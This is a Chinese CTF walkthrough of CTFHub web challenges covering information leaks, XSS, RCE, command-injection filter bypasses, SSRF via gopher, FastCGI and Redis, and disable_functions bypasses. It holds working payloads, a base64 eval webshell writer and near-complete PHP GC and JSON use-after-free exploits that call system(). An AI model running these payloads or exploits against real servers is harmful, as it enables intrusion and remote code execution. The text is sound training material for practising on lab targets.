CTFHUB技能树(全详细解析含进阶)

CTFHUB技能树

  • HTTP协议
    • 请求树
    • 302跳转
    • Cookie
    • 基础认证
    • 响应包源代码
  • 信息泄露
    • 目录遍历
    • phpinfo
    • 备份文件下载
      • 网站源码
      • bak文件
      • vim缓存
      • .DS_Store
      • Git泄露
        • log
        • stash
        • index
      • SVN泄露
      • HG泄露
  • 密码口令
    • 弱口令
    • 默认口令
  • XSS
    • 反射型
  • RCE
    • eval执行
    • 文件包含
      • php://input
      • 读取源代码
      • 远程包含
    • 命令注入
      • 过滤cat
      • 过滤空格
      • 过滤目录分隔符
      • 过滤运算符
      • 综合过滤
    • 文件上传
    • ssrf
      • 内网访问
      • 伪协议读取文件
      • 端口扫描
      • POST请求
      • 上传文件
      • FASTCGI协议
      • Redis协议
      • URLbypass
      • 数字IP bypass
      • 302跳转 bypass
      • DNS重绑定 bypass
  • WEB进阶
    • Bypass disable_function
      • LD_PRELOAD
        • 方法2 现成的so(这个是免杀得哟)
      • ShellShock
      • Apache Mod CGI
      • PHP-FPM
      • GC UAF
        • Json Serializer UAF
        • Backtrace UAF
      • FFI扩展
    • JSON Web Token
      • 敏感信息泄露
      • 无签名
      • 弱密钥
      • 修改签名算法
    • linux
      • 动态加载器

HTTP协议

CTFHUB技能树(全详细解析含进阶)_第1张图片

请求树

CTFHUB技能树(全详细解析含进阶)_第2张图片
CTFHUB技能树(全详细解析含进阶)_第3张图片
根据提示直接修改头即可

302跳转

CTFHUB技能树(全详细解析含进阶)_第4张图片
直接重放获得302跳转,
CTFHUB技能树(全详细解析含进阶)_第5张图片

Cookie

CTFHUB技能树(全详细解析含进阶)_第6张图片
字面意思,
CTFHUB技能树(全详细解析含进阶)_第7张图片
CTFHUB技能树(全详细解析含进阶)_第8张图片

基础认证

简介:
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
CTFHUB技能树(全详细解析含进阶)_第9张图片
附件提供了密码,很明显就是爆破
CTFHUB技能树(全详细解析含进阶)_第10张图片
CTFHUB技能树(全详细解析含进阶)_第11张图片
有了用户名,而且发现一个base加密的东西
解密看看
CTFHUB技能树(全详细解析含进阶)_第12张图片
固定格式啊,
那么我们将密码本修改了

CTFHUB技能树(全详细解析含进阶)_第13张图片
CTFHUB技能树(全详细解析含进阶)_第14张图片
直接开跑
CTFHUB技能树(全详细解析含进阶)_第15张图片
很nice一个都跑不出来
CTFHUB技能树(全详细解析含进阶)_第16张图片
终于出来了,!!!!
== 重点,base的结果不能存在等于号==

响应包源代码

CTFHUB技能树(全详细解析含进阶)_第17张图片
噢!抓包抓不到,他是一个纯前端

信息泄露

目录遍历

CTFHUB技能树(全详细解析含进阶)_第18张图片
开始一通乱找
CTFHUB技能树(全详细解析含进阶)_第19张图片
CTFHUB技能树(全详细解析含进阶)_第20张图片

phpinfo

CTFHUB技能树(全详细解析含进阶)_第21张图片
字面意思

备份文件下载

网站源码

CTFHUB技能树(全详细解析含进阶)_第22张图片

import requests

url = "http://challenge-b1d2b3af19e2c1e7.sandbox.ctfhub.com:10080/"

li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:
    for j in li2:
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(str(r)+"+"+url_final)

CTFHUB技能树(全详细解析含进阶)_第23张图片
CTFHUB技能树(全详细解析含进阶)_第24张图片
众所周知,备份文件备份的都是文件,那么我们直接访问一下txt文件
CTFHUB技能树(全详细解析含进阶)_第25张图片

bak文件

CTFHUB技能树(全详细解析含进阶)_第26张图片
因为提示在bak文件中,那么我们直接访问bak文件
CTFHUB技能树(全详细解析含进阶)_第27张图片
CTFHUB技能树(全详细解析含进阶)_第28张图片
得到

vim缓存

CTFHUB技能树(全详细解析含进阶)_第29张图片
swp文件:
非正常关闭vim就会生成swp文件
CTFHUB技能树(全详细解析含进阶)_第30张图片
因为是隐藏文件,记得加点
在这里插入图片描述
修改了名字
我们vim index.php

CTFHUB技能树(全详细解析含进阶)_第31张图片
CTFHUB技能树(全详细解析含进阶)_第32张图片
点击修复即可

.DS_Store

CTFHUB技能树(全详细解析含进阶)_第33张图片
CTFHUB技能树(全详细解析含进阶)_第34张图片
访问.Ds_Store就能下载文件
CTFHUB技能树(全详细解析含进阶)_第35张图片
放入linux 中,直接读取
CTFHUB技能树(全详细解析含进阶)_第36张图片
访问即可

Git泄露

log

在这里插入图片描述
CTFHUB技能树(全详细解析含进阶)_第37张图片
我们使用githack
CTFHUB技能树(全详细解析含进阶)_第38张图片
CTFHUB技能树(全详细解析含进阶)_第39张图片
在那个新建的目录下,git log
查看git的历史记录
CTFHUB技能树(全详细解析含进阶)_第40张图片
我门所在的是remove flag
但是我们需要回到add flag
CTFHUB技能树(全详细解析含进阶)_第41张图片
直接git diff
CTFHUB技能树(全详细解析含进阶)_第42张图片

stash

基本同上
CTFHUB技能树(全详细解析含进阶)_第43张图片

index

基本同上
CTFHUB技能树(全详细解析含进阶)_第44张图片

SVN泄露

CTFHUB技能树(全详细解析含进阶)_第45张图片
CTFHUB技能树(全详细解析含进阶)_第46张图片
使用工具进行添加
当然这个不好使
推荐下面这个

https://github.com/kost/dvcs-ripper
CTFHUB技能树(全详细解析含进阶)_第47张图片
进行回复,ctrl+H显示隐藏文件夹
CTFHUB技能树(全详细解析含进阶)_第48张图片

使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份

CTFHUB技能树(全详细解析含进阶)_第49张图片

HG泄露

我们同样使用上面那个工具
CTFHUB技能树(全详细解析含进阶)_第50张图片

CTFHUB技能树(全详细解析含进阶)_第51张图片
执行命令
CTFHUB技能树(全详细解析含进阶)_第52张图片
在当前文件夹下,搜索带有flag字符串的(包括文件内)
发现flag文件,那么对应服务器打开
CTFHUB技能树(全详细解析含进阶)_第53张图片

密码口令

弱口令

CTFHUB技能树(全详细解析含进阶)_第54张图片
掏出珍藏的top100
在这里插入图片描述
emm还没跑,就有了
123456

默认口令

CTFHUB技能树(全详细解析含进阶)_第55张图片
打开是一个亿邮,我们百度,初始密码

CTFHUB技能树(全详细解析含进阶)_第56张图片
CTFHUB技能树(全详细解析含进阶)_第57张图片
最后这个成功了,

XSS

反射型

CTFHUB技能树(全详细解析含进阶)_第58张图片
在这里输入,他会在下面显示
CTFHUB技能树(全详细解析含进阶)_第59张图片
CTFHUB技能树(全详细解析含进阶)_第60张图片
我们使用xss平台
CTFHUB技能树(全详细解析含进阶)_第61张图片
CTFHUB技能树(全详细解析含进阶)_第62张图片
去访问这个连接,就有了
CTFHUB技能树(全详细解析含进阶)_第63张图片

RCE

eval执行

CTFHUB技能树(全详细解析含进阶)_第64张图片
啊这熟悉的php代码审计!
CTFHUB技能树(全详细解析含进阶)_第65张图片
当场 whoami
CTFHUB技能树(全详细解析含进阶)_第66张图片
file_put_contents写入文件试试
CTFHUB技能树(全详细解析含进阶)_第67张图片
可以解析,写一句话木马
CTFHUB技能树(全详细解析含进阶)_第68张图片
CTFHUB技能树(全详细解析含进阶)_第69张图片
噢,这个马有点问题= =
我们还是读文件吧
CTFHUB技能树(全详细解析含进阶)_第70张图片
CTFHUB技能树(全详细解析含进阶)_第71张图片
记得是绝对路径哟

文件包含

他还送了个一句话
CTFHUB技能树(全详细解析含进阶)_第72张图片

CTFHUB技能树(全详细解析含进阶)_第73张图片
CTFHUB技能树(全详细解析含进阶)_第74张图片
将一句话包含在这个php文件中就行了呀
我们来看一下,file get参数不为空,字符串中没有flag,
即可包含文件
CTFHUB技能树(全详细解析含进阶)_第75张图片
包含后直接连接
CTFHUB技能树(全详细解析含进阶)_第76张图片
CTFHUB技能树(全详细解析含进阶)_第77张图片

php://input

CTFHUB技能树(全详细解析含进阶)_第78张图片
噢~他不送我们shell了

CTFHUB技能树(全详细解析含进阶)_第79张图片
0到6字符串强等于php://才能文件包含
CTFHUB技能树(全详细解析含进阶)_第80张图片
读文件试一下,发现可以
CTFHUB技能树(全详细解析含进阶)_第81张图片
直接一波读文件
CTFHUB技能树(全详细解析含进阶)_第82张图片
php://input
相当于他去接收post的值,那么常规思路即可

读取源代码

CTFHUB技能树(全详细解析含进阶)_第83张图片
提示,flag在/flag中,那么我们代码审计一波

好像跟之前的没啥区别
php://直接读文件
CTFHUB技能树(全详细解析含进阶)_第84张图片
CTFHUB技能树(全详细解析含进阶)_第85张图片

远程包含

CTFHUB技能树(全详细解析含进阶)_第86张图片
我们可以看到他的远程包含开启了
CTFHUB技能树(全详细解析含进阶)_第87张图片

他限定,get中没有flag,不能为空
那么我们远程包含自己服务器上面的一个木马即可
CTFHUB技能树(全详细解析含进阶)_第88张图片
当然直接包含百度是可以的
我们在服务器上面写一个文件CTFHUB技能树(全详细解析含进阶)_第89张图片

然后直接进行远程包含
CTFHUB技能树(全详细解析含进阶)_第90张图片

CTFHUB技能树(全详细解析含进阶)_第91张图片

直接包含
CTFHUB技能树(全详细解析含进阶)_第92张图片

命令注入

在这里插入图片描述
CTFHUB技能树(全详细解析含进阶)_第93张图片
ping 一下本地试试
CTFHUB技能树(全详细解析含进阶)_第94张图片
一个| 即可
CTFHUB技能树(全详细解析含进阶)_第95张图片
ls 发现文件
cat直接读取
CTFHUB技能树(全详细解析含进阶)_第96张图片

过滤cat

CTFHUB技能树(全详细解析含进阶)_第97张图片
CTFHUB技能树(全详细解析含进阶)_第98张图片
我们使用tac即可

CTFHUB技能树(全详细解析含进阶)_第99张图片

过滤空格

CTFHUB技能树(全详细解析含进阶)_第100张图片

ls发现文件

CTFHUB技能树(全详细解析含进阶)_第101张图片
CTFHUB技能树(全详细解析含进阶)_第102张图片
这么多都可以

CTFHUB技能树(全详细解析含进阶)_第103张图片

过滤目录分隔符

CTFHUB技能树(全详细解析含进阶)_第104张图片
ls -al 怀疑他是一个目录

CTFHUB技能树(全详细解析含进阶)_第105张图片
使用分号进行堆叠
CTFHUB技能树(全详细解析含进阶)_第106张图片
CTFHUB技能树(全详细解析含进阶)_第107张图片

过滤运算符

CTFHUB技能树(全详细解析含进阶)_第108张图片
CTFHUB技能树(全详细解析含进阶)_第109张图片
过滤了且运算,或运算,但是分号仍然可以使用
CTFHUB技能树(全详细解析含进阶)_第110张图片

直接读取
CTFHUB技能树(全详细解析含进阶)_第111张图片

综合过滤

CTFHUB技能树(全详细解析含进阶)_第112张图片
CTFHUB技能树(全详细解析含进阶)_第113张图片
首先代码审计一波
get的ip值不能为空,并且赋值给$ip
匹配一堆运算,匹配了cat flag ctfhub等关键字
(| & ;还有空格)
那么,找到之前的笔记,RCE的绕过

命令分隔符
linux中:

-%0a(回车) %0d(换行)   
-;    
-&      
-|       
-&&    
-||

windows中:

-%0a
-&
-|
-%1a(作为.bat文件中的命令分隔符)

这个题目的绕过的话,可以考虑16进制或者拼接,
或者两个单引号,两个双引号
CTFHUB技能树(全详细解析含进阶)_第114张图片
127.0.0.1%0acd${IFS}fl''ag_is_here%0aca''t${IFS}*#
CTFHUB技能树(全详细解析含进阶)_第115张图片
127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}*#
$* 猜测为空,所以可行
任何没定义的都算空,(就不输出)
CTFHUB技能树(全详细解析含进阶)_第116张图片

文件上传

见之前的博客
CTFHUB技能树(全详细解析含进阶)_第117张图片

ssrf

整个知识点,在之前写的,ssrflab中有讲解

内网访问

CTFHUB技能树(全详细解析含进阶)_第118张图片
直接打开访问即可
CTFHUB技能树(全详细解析含进阶)_第119张图片

伪协议读取文件

CTFHUB技能树(全详细解析含进阶)_第120张图片
访问百度是可行的
CTFHUB技能树(全详细解析含进阶)_第121张图片
直接上伪协议

file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)

CTFHUB技能树(全详细解析含进阶)_第122张图片

端口扫描

CTFHUB技能树(全详细解析含进阶)_第123张图片
提示,端口8000-9000
端口扫描一般使用dict://
CTFHUB技能树(全详细解析含进阶)_第124张图片
抓包修改即可
CTFHUB技能树(全详细解析含进阶)_第125张图片

改成数字
CTFHUB技能树(全详细解析含进阶)_第126张图片
找到8460端口,访问数据不同,然后我们换成http
即可
CTFHUB技能树(全详细解析含进阶)_第127张图片

POST请求

CTFHUB技能树(全详细解析含进阶)_第128张图片
CTFHUB技能树(全详细解析含进阶)_第129张图片
我们访问flag.php 会给我们一个上传框,同时给了我们key
CTFHUB技能树(全详细解析含进阶)_第130张图片
它提示的302不能访问呀
CTFHUB技能树(全详细解析含进阶)_第131张图片
看到上一个框框,form post 带着key 访问呢
直接访问,flag.php 是提醒我们从内网才可以
CTFHUB技能树(全详细解析含进阶)_第132张图片
CTFHUB技能树(全详细解析含进阶)_第133张图片
带着key试试
CTFHUB技能树(全详细解析含进阶)_第134张图片
噢!不能访问
nice
我们从新回去,找一下有几个页面
index.php flag.php

从内部访问,我们需要使用gopher 协议,去帮我们提交带key的请求
查看一下源码

CTFHUB技能树(全详细解析含进阶)_第135张图片
CTFHUB技能树(全详细解析含进阶)_第136张图片
gopher包需要精心构造才可以

    Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

这里是找的大佬的payload生成
注意 content-length一定要和key一样

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

CTFHUB技能树(全详细解析含进阶)_第137张图片
当然 burp本身已经算出来了
CTFHUB技能树(全详细解析含进阶)_第138张图片
CTFHUB技能树(全详细解析含进阶)_第139张图片
CTFHUB技能树(全详细解析含进阶)_第140张图片

上传文件

CTFHUB技能树(全详细解析含进阶)_第141张图片
CTFHUB技能树(全详细解析含进阶)_第142张图片
直奔主题,直接访问,查看到需要上传文件
CTFHUB技能树(全详细解析含进阶)_第143张图片
查看一下源码
我们把它的提交按钮给他补上
CTFHUB技能树(全详细解析含进阶)_第144张图片
CTFHUB技能树(全详细解析含进阶)_第145张图片
当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中
CTFHUB技能树(全详细解析含进阶)_第146张图片

CTFHUB技能树(全详细解析含进阶)_第147张图片

FASTCGI协议

CTFHUB技能树(全详细解析含进阶)_第148张图片
他的提示文章在这里
https://blog.csdn.net/mysteryflower/article/details/94386461
CTFHUB技能树(全详细解析含进阶)_第149张图片
我们使用gopherus工具

利用条件:

libcurl版本>=7.45.0

PHP-FPM监听端口

PHP-FPM版本 >= 5.3.3

知道服务器上任意一个php文件的绝对路径`

用来写shell

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php`

CTFHUB技能树(全详细解析含进阶)_第150张图片
需要将生成的进行一次编码,因为get本身进行一次url解码
CTFHUB技能树(全详细解析含进阶)_第151张图片

CTFHUB技能树(全详细解析含进阶)_第152张图片
CTFHUB技能树(全详细解析含进阶)_第153张图片
CTFHUB技能树(全详细解析含进阶)_第154张图片

Redis协议

CTFHUB技能树(全详细解析含进阶)_第155张图片
攻击redis的方式很多,见之前的讲解,
写入ssh公钥、读文件、写文件、反弹shell。很多,
CTFHUB技能树(全详细解析含进阶)_第156张图片
我们还是使用上面的工具
我们先来phpshell
CTFHUB技能树(全详细解析含进阶)_第157张图片
这个我们不需要进行编码
CTFHUB技能树(全详细解析含进阶)_第158张图片
CTFHUB技能树(全详细解析含进阶)_第159张图片

URLbypass

CTFHUB技能树(全详细解析含进阶)_第160张图片
CTFHUB技能树(全详细解析含进阶)_第161张图片
我们使用xip.io发现被ban了
CTFHUB技能树(全详细解析含进阶)_第162张图片
发现成功读取
CTFHUB技能树(全详细解析含进阶)_第163张图片
之前的博客中有讲解
在这里插入图片描述

数字IP bypass

CTFHUB技能树(全详细解析含进阶)_第164张图片
ban了 十进制,我们可以十六进制,八进制呀
二进制
同样在之前的文章中有讲解
CTFHUB技能树(全详细解析含进阶)_第165张图片
CTFHUB技能树(全详细解析含进阶)_第166张图片
CTFHUB技能树(全详细解析含进阶)_第167张图片

302跳转 bypass

CTFHUB技能树(全详细解析含进阶)_第168张图片
我们发现,不能进行http的访问

CTFHUB技能树(全详细解析含进阶)_第169张图片
但是127.0.0.1的可以访问

CTFHUB技能树(全详细解析含进阶)_第170张图片
说明后端逻辑是

如果访问为带有http时,不允许
如果没有则跳转到该字符串,
CTFHUB技能树(全详细解析含进阶)_第171张图片
我访问自己的服务器,发现可以
,验证了如上说法

DNS重绑定 bypass

验证工具

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=
CTFHUB技能树(全详细解析含进阶)_第172张图片
我们在这里,将两个ip解析到一个url上面

CTFHUB技能树(全详细解析含进阶)_第173张图片
CTFHUB技能树(全详细解析含进阶)_第174张图片
,当我们使用这个url的时候,就有概率访问到127.0.0.1 从而绕开IP的限制
(或者说,绕开,限定的ip)
CTFHUB技能树(全详细解析含进阶)_第175张图片
一直点,总有一次会解析到127.0.0.1

WEB进阶

Bypass disable_function

LD_PRELOAD

预加载绕过,我们可以使用蚁剑插件,或者网上的so文件,
CTFHUB技能树(全详细解析含进阶)_第176张图片
CTFHUB技能树(全详细解析含进阶)_第177张图片
打开
我们先连接蚁剑
CTFHUB技能树(全详细解析含进阶)_第178张图片
CTFHUB技能树(全详细解析含进阶)_第179张图片
CTFHUB技能树(全详细解析含进阶)_第180张图片
CTFHUB技能树(全详细解析含进阶)_第181张图片
执行命令发现是不可以的,因为有限制
使用插件绕过
CTFHUB技能树(全详细解析含进阶)_第182张图片
生成了这个文件
我们连接他
CTFHUB技能树(全详细解析含进阶)_第183张图片
即可rce
CTFHUB技能树(全详细解析含进阶)_第184张图片
CTFHUB技能树(全详细解析含进阶)_第185张图片
cat权限不够,我们试试tac 当然如果不行的话,我们还可以尝试more之类的读取命令
CTFHUB技能树(全详细解析含进阶)_第186张图片

方法2 现成的so(这个是免杀得哟)

 example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so 

"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"; unlink($out_path); ?>

CTFHUB技能树(全详细解析含进阶)_第187张图片
需要配合 so文件,首先全部上传
CTFHUB技能树(全详细解析含进阶)_第188张图片
emm,沙箱环境没有实现,但是之前是可以使用的。(不知道什么问题)

ShellShock

ShellShock,破壳漏洞,出现于2014年
可以通过以下命令来判断是否存在这个漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果出现vulnerable说明存在
CTFHUB技能树(全详细解析含进阶)_第189张图片
CTFHUB技能树(全详细解析含进阶)_第190张图片
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样

但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}‘后停止,也就是说定义在函数体外shell命令也会执行,所以env x=’() { :;}; echo vulnerable’ 输出了vulnerable。

CTFHUB技能树(全详细解析含进阶)_第191张图片
如上是error函数,的用法
CTFHUB技能树(全详细解析含进阶)_第192张图片

首先蚁剑连接,如果有时候连接不上,可以转换连接加密解密方式看看

CTFHUB技能树(全详细解析含进阶)_第193张图片
意外收获,直接使用自带插件绕过即可rce 为什么需要用tac? 因为cat 所属的是www-data 没有权限去读取,有一部分的权限可能就仍然是bash的权限。
CTFHUB技能树(全详细解析含进阶)_第194张图片
回归正题
CTFHUB技能树(全详细解析含进阶)_第195张图片
正常被ban了无法进行命令执行
我们手工传入shell.php 和 test.php
进行加载环境变量
error_log和mail两个函数,都可以使用,(为了避免ban掉一个)

> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

CTFHUB技能树(全详细解析含进阶)_第196张图片
然后我们访问shell.php
CTFHUB技能树(全详细解析含进阶)_第197张图片
CTFHUB技能树(全详细解析含进阶)_第198张图片
这时候已经生成了。
参考自这里
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2

Apache Mod CGI

CTFHUB技能树(全详细解析含进阶)_第199张图片
进来以后我们首先,连shell
CTFHUB技能树(全详细解析含进阶)_第200张图片

CTFHUB技能树(全详细解析含进阶)_第201张图片
首先如果使用插件,很容易

CTFHUB技能树(全详细解析含进阶)_第202张图片
该绕过的条件

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

这些就是他蚁剑写入的
CTFHUB技能树(全详细解析含进阶)_第203张图片
CTFHUB技能树(全详细解析含进阶)_第204张图片
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant后缀的文件作为cgi脚本执行

PHP-FPM

预先知识

Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

CTFHUB技能树(全详细解析含进阶)_第205张图片
它本身是在内网段的,通过nginx进行反向代理,才能进行通讯
CTFHUB技能树(全详细解析含进阶)_第206张图片
连接一手
CTFHUB技能树(全详细解析含进阶)_第207张图片
通讯地址我们选择本地的 (相当于他服务器的本地),
CTFHUB技能树(全详细解析含进阶)_第208张图片
CTFHUB技能树(全详细解析含进阶)_第209张图片
连接我们的代理php
直接命令行
CTFHUB技能树(全详细解析含进阶)_第210张图片

GC UAF

exp出自这里

本篇之后就涉及到了溢出,由于本人资历尚浅,无法分析根源漏洞,只能使用蚁剑工具/现成exp进行推进。

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

CTFHUB技能树(全详细解析含进阶)_第211张图片
CTFHUB技能树(全详细解析含进阶)_第212张图片

Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
